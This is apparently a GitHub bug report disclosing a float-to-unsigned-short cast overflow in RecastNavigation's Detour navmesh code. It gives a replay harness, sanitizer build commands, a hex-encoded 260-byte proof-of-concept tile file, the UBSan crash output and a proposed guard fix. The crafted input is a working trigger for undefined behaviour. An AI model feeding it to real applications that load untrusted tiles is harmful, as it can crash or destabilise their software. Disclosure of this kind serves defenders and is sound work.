[Bug]float→unsigned short quantization cast overflow (float-cast-overflow): attacker-controlled geometry makes qfac*minx out of range (CWE-681)

Author: 1820893135-pixelCreated Aug 31, 2026Updated Aug 31, 2026

Summary

dtNavMesh::queryPolygons (Detour/Source/DetourNavMesh.cpp:835-840) computes quantized bounds with (unsigned short)(qfac * minx). Both qfac (tile bvQuantFactor) and minx (from bmin) are attacker-controlled header fields; when the product leaves the representable range of unsigned short (e.g. -1.16057e+28), the float→unsigned short conversion is undefined behavior. UBSan reports float-cast-overflow at :838. 7 crash samples share this root cause.

Affected versions: RecastNavigation master 9f4ce64458dfae86e1239c525ddc219c4e9e06f1 (all releases to date)
Severity: Medium
CWE: CWE-681 (Incorrect Conversion between Numeric Types)

Detail

Affected code

cpp

minx = (unsigned short)(qfac * minx);   /* line 838: float-cast-overflow */
miny = (unsigned short)(qfac * miny);
minz = (unsigned short)(qfac * minz);
maxx = (unsigned short)(qfac * maxx);
...

Root cause: qfac (tile bvQuantFactor) and minx/miny/minz (from bmin/bmax) come from the untrusted tile header. The float→unsigned short conversion is UB when the product lies outside [0, 65535] (here -1.16057e+28). The truncated value feeds downstream bound-clipping, so the UB can steer later index arithmetic out of range.

Build the reproducer

Clone RecastNavigation and check out the affected commit:

bash

git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1

Save this standalone replay driver as dbg_addtile.cpp (calls the public dtNavMesh::addTile API on every file argument):

cpp

#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"

int main(int argc, char** argv) {
    for (int i = 1; i < argc; ++i) {
        FILE* f = fopen(argv[i], "rb");
        if (!f) return 2;
        fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
        std::vector<unsigned char> buf((size_t)n);
        fread(buf.data(), 1, (size_t)n, f);
        fclose(f);
        dtNavMesh mesh;
        dtNavMeshParams params;
        memset(&params, 0, sizeof(params));
        params.tileWidth = 1.0f; params.tileHeight = 1.0f;
        params.maxTiles = 8; params.maxPolys = 64;
        dtStatus is = mesh.init(&params);
        printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
        unsigned char* b = (unsigned char*)malloc(n);
        memcpy(b, buf.data(), n);
        dtTileRef result = 0;
        dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
        printf("addTile=%08x result=%08x\n", st, result);
        free(b);
    }
    return 0;
}

Compile with ASan + UBSan (dbg_addtile):

bash

clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
  Detour/Source/DetourNode.cpp -o dbg_addtile

For a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:

bash

clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
  -o dbg_addtile_ubonly

POC (tested on the unmodified source)

Save the 260-byte POC:

bash

python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e440700000000000000000000000000000000000000010000000300000001000000010000000000000001000000020000000100000001000000000000409a99193f6666663f0000000000000000000000000000f0ec0000f0410000f0410000a0400000000000000400000000000000803f000000000000000000000000000000000000803f00000000000001000200ffffffffffff0000000000000000000000000100030000000000000000000000000000000000000000000001000000000200000000000000ffffffffffff000000000000000000000000000000ff00ffffffcdcccc3d00000000cdcccc3dcdcc4c3e00000000cdcc4c3e0000803f00000000'))"

Run:

bash

./dbg_addtile_ubonly poc.bin

Trigger result

Verified on the unmodified source (UndefinedBehaviorSanitizer):

.../Detour/Source/DetourNavMesh.cpp:838:29: runtime error: -1.16057e+28 is outside the range of representable values of type 'unsigned short'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior .../Detour/Source/DetourNavMesh.cpp:838:29 in

Replay exit code: 1 (abort/trap)
Deterministic: yes — 7 crash sample(s) (id:000010, id:000011, id:000024, id:000050, id:000054, ...) all reproduce the same root cause

Suggested fix

Guard the conversion before casting:

cpp

float qx = qfac * minx;
if (!(qx >= 0.0f && qx <= 65535.0f))
    return DT_FAILURE | DT_INVALID_PARAM;
minx = (unsigned short)qx;

Source: recastnavigation/recastnavigation

View original on GitHub View discussion on GitHub